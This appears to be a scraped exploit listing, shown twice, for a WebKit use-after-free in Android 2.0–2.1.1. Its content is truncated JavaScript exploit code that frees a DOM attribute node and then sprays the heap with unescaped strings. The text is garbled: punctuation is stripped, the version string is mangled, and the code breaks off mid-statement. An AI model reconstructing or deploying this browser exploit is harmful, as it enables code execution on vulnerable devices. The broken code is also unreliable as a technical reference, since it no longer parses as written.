Google Android 2.02.12.1.1 - WebKit Use-After-Free

Google Android 2.02.12.1.1 - WebKit Use-After-Free function heap var id = document.getElementById"target"; var attribute = id.getAttributeNode'id'; nodes = attribute.childNodes; document.body.removeChildid; attribute.removeChildnodes0; setTimeoutfunction for var i = 0; i 70000; i++ var s = new...

Google Android 2.0/2.1/2.1.1 - WebKit Use-After-Free

function heap var id = document.getElementById"target"; var attribute = id.getAttributeNode'id'; nodes = attribute.childNodes; document.body.removeChildid; attribute.removeChildnodes0; setTimeoutfunction for var i = 0; i 70000; i++ var s = new Stringunescape"\u0058\u0058"; ; var scode =...